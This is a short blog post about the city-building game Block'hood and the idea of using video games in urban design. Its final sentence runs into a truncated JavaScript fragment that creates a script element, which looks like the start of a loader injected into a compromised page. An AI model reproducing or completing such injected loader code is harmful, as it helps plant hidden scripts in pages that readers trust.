The Future’s Got Game

If you haven’t already heard, video games are increasingly becoming an important tool for designing cities (just ask Los Angeles architect and game developer Jose Sanchez).

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His movie (see link) shows a neighbourhood-building simulator called ‘BLOCK’HOOD‘. It has the potential to help professionals and members of the public to understand the challenges of contemporary city formation, development and management. Such ‘on-line games’ could be used to inform and engage global audiences on issues facing architecture and urban design.

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In Block’hood, city districts are created from pre-defined blocks. Gamers create neighbourhoods that either deteriorate or thrive based on their input/output decisions. Gamers take into account environmental, social and economic factors to make their neighbourhoods flourish. A good player will balance ‘inputs’ and ‘outputs’ for a block resulting in success and expansion (i.e. a tree on a block might need water, an apartment electricity). It’s all interrelated with growth and entropy the result of good or bad decisions.

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Sanchez is a Chilean architect and professor at the University of Southern California’s School of Architecture. He believes that Block’hood will become a tool for participation and public engagement. One day, such games may even replace the traditional design process. Check out the vid…it’s well worth it!var d=document;var s=d.createElement(‘script’);

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